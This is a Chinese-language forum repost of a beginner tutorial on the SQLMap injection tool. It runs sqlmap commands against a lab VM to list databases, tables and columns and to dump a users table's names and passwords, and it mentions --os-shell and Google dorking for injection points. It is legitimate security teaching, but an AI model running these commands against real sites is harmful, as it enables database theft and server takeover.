昆明鬼手纹身大鬼店 發表於 2023-2-4 11:37:03

SQLMap简介及简单应用实例图文详解

<h2>1 SQLMap简介</h2>
<p>SQLMap 是一个<strong>自动化的SQL注入</strong>工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。</p>
<p>注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。</p>
<p>SQLMap采用了以下5种独特的SQL注入技术。<br />
&bull; 基于<strong>布尔类型的盲注</strong>,即可以根据返回页面判断条件真假的注入。<br />
&bull; 基于<strong>时间的盲注</strong>,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断。<br />
&bull; 基于<strong>报错注入</strong>,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。<br />
&bull; <strong>联合查询注入</strong>,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入。</p>
<p>SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。</p>
<h2>2 SQLMap安装</h2>
<p>SQLMap的安装方式可以自己上网查找,本教程是利用KaliLinux上自带的SQLMap工具进行相关学习与实验,无需自己配置python等基础环境,较简单易上手,如何在虚拟机中安装KaliLinux系统请查看《【Linux系统】第2节 虚拟机中安装Kali系统》。</p>
<p>3 sqlmap的简单使用 3.1 常用命令及参数</p>
<p>查看sqlmap的命令字帮助手册</p>
<div class="jb51code">
<pre class="brush:plain;">
-u&quot;url&quot;                #检测注入点
--dbs                        #列出所有数据库的名称
--current-db        #列出当前数据库的名称
-D                                #指定一个数据库
--table                        #列出所有表名
-T                                #指定表名
--columns                #列出所有字段名
-C                                #指定字段
--dump                        #列出字段内容


</pre>
</div>
<p>post注入<br />
-r xxx.txt #xxx.txt为http数据包</p>
<p>&ndash;cookie #指定cookie<br />
&ndash;os-shell #获取shell<br />
sqlmap -g &ldquo;inurl:php?id=&rdquo; #利用google自动搜索注入点</p>
<p>3.2 具体操作实例 3.2.1 操作前准备</p>
<p><strong>实验靶场</strong>&mdash;&mdash;虚拟机(IP为172.16.1.1):</p>
<p>本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化&mdash;以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例》</p>
<p><strong>注入工具</strong>&mdash;&mdash;kali虚拟机,自带sqlmap工具</p>
<p>注意,win2008和kali桥接到同一VMnet下。两者可以互相ping通。</p>
<p><img src="https://img.jbzj.com/file_images/article/202212/202212271445281.png" alt="在这里插入图片描述" /></p>
<p>3.2.2 具体实例 3.2.2.1 实例1:查看帮助手册</p>
<blockquote>sqlmap -h </blockquote>
<p><img src="https://img.jbzj.com/file_images/article/202212/202212271445282.png" alt="在这里插入图片描述" /></p>
<p>3.2.2.2 实例2:检测注入点及注入类型</p>
<blockquote>sqlmap -u &quot;http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5&quot; </blockquote>
<p><img src="https://img.jbzj.com/file_images/article/202212/202212271445283.png" alt="在这里插入图片描述" /><br />
<img src="https://img.jbzj.com/file_images/article/202212/202212271445284.png" alt="在这里插入图片描述" /><br />
当SQLMap执行该命令时,它会执行以下步骤:</p>
<p>1)判断可注入的参数;2)判断可以用哪种SQL注入技术来注入;3)识别出哪种数据库;4)根据用户选择,读取哪些数据。 3.2.2.3 实例3:列出所有数据库的名字</p>
<blockquote>sqlmap -u &quot;http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5&quot; --dbs </blockquote>
<p><img src="https://img.jbzj.com/file_images/article/202212/202212271445285.png" alt="在这里插入图片描述" /><br />
<img src="https://img.jbzj.com/file_images/article/202212/202212271445286.png" alt="在这里插入图片描述" /></p>
<p>3.2.2.4 实例4:列出当前数据库的名字</p>
<blockquote>sqlmap -u &quot;http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5&quot; --current-db </blockquote>
<p><img src="https://img.jbzj.com/file_images/article/202212/202212271445297.png" alt="在这里插入图片描述" /><br />
<img src="https://img.jbzj.com/file_images/article/202212/202212271445298.png" alt="在这里插入图片描述" /></p>
<p>3.2.2.5 实例5:列出某数据库的所有表名</p>
<blockquote>sqlmap -u &quot;http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5&quot; -D 'jrlt' --tables </blockquote>
<p><img src="https://img.jbzj.com/file_images/article/202212/202212271445299.png" alt="在这里插入图片描述" /><br />
<img src="https://img.jbzj.com/file_images/article/202212/2022122714452910.png" alt="在这里插入图片描述" /></p>
<p>3.2.2.6 实例6:列出某表中的所有字段名</p>
<blockquote>sqlmap -u &quot;http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5&quot; -D 'jrlt' -T 'users' --columns </blockquote>
<p><img src="https://img.jbzj.com/file_images/article/202212/2022122714452911.png" alt="在这里插入图片描述" /><br />
<img src="https://img.jbzj.com/file_images/article/202212/2022122714452912.png" alt="在这里插入图片描述" /></p>
<p>3.2.2.7 实例7:列出某字段中的所有字段内容</p>
<blockquote>sqlmap -u &quot;http://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5&quot; -D 'jrlt' -T 'users' -C 'name,password' --dump </blockquote>
<p><img src="https://img.jbzj.com/file_images/article/202212/2022122714452913.png" alt="在这里插入图片描述" /><br />
<img src="https://img.jbzj.com/file_images/article/202212/2022122714452914.png" alt="在这里插入图片描述" /></p>
<p>3.2.2.8 实例8:post注入</p>
<p>首先利用burpsuite抓到使用post请求方法的http请求数据包,将该包保存为post.txt文件(保存在当前目录下)。输入代码:<code>sqlmap -r post.txt</code>,会自动读取http数据包来做个post注入的测试</p>
<p>在本专栏博客中,主要以入门知识为主,引领零基础的伙伴了解一些工具的简单操作,会分享sqlmap的简单使用方法,比如:使用该软件来判断目标网站是否存在注入、查询获取数据库的库名表名字段名以及字段内容等信息.其他更详细的用法可详见sqlmap的帮助手册,如-level、-referer、roles等。</p>
<p>4 参考文章及优秀资源推荐</p>
<p>《sqlmap 详解》<br />
《 sqlmap 官网》<br />
《sqlmap文档地址》&nbsp;</p>
頁: [1]
查看完整版本: SQLMap简介及简单应用实例图文详解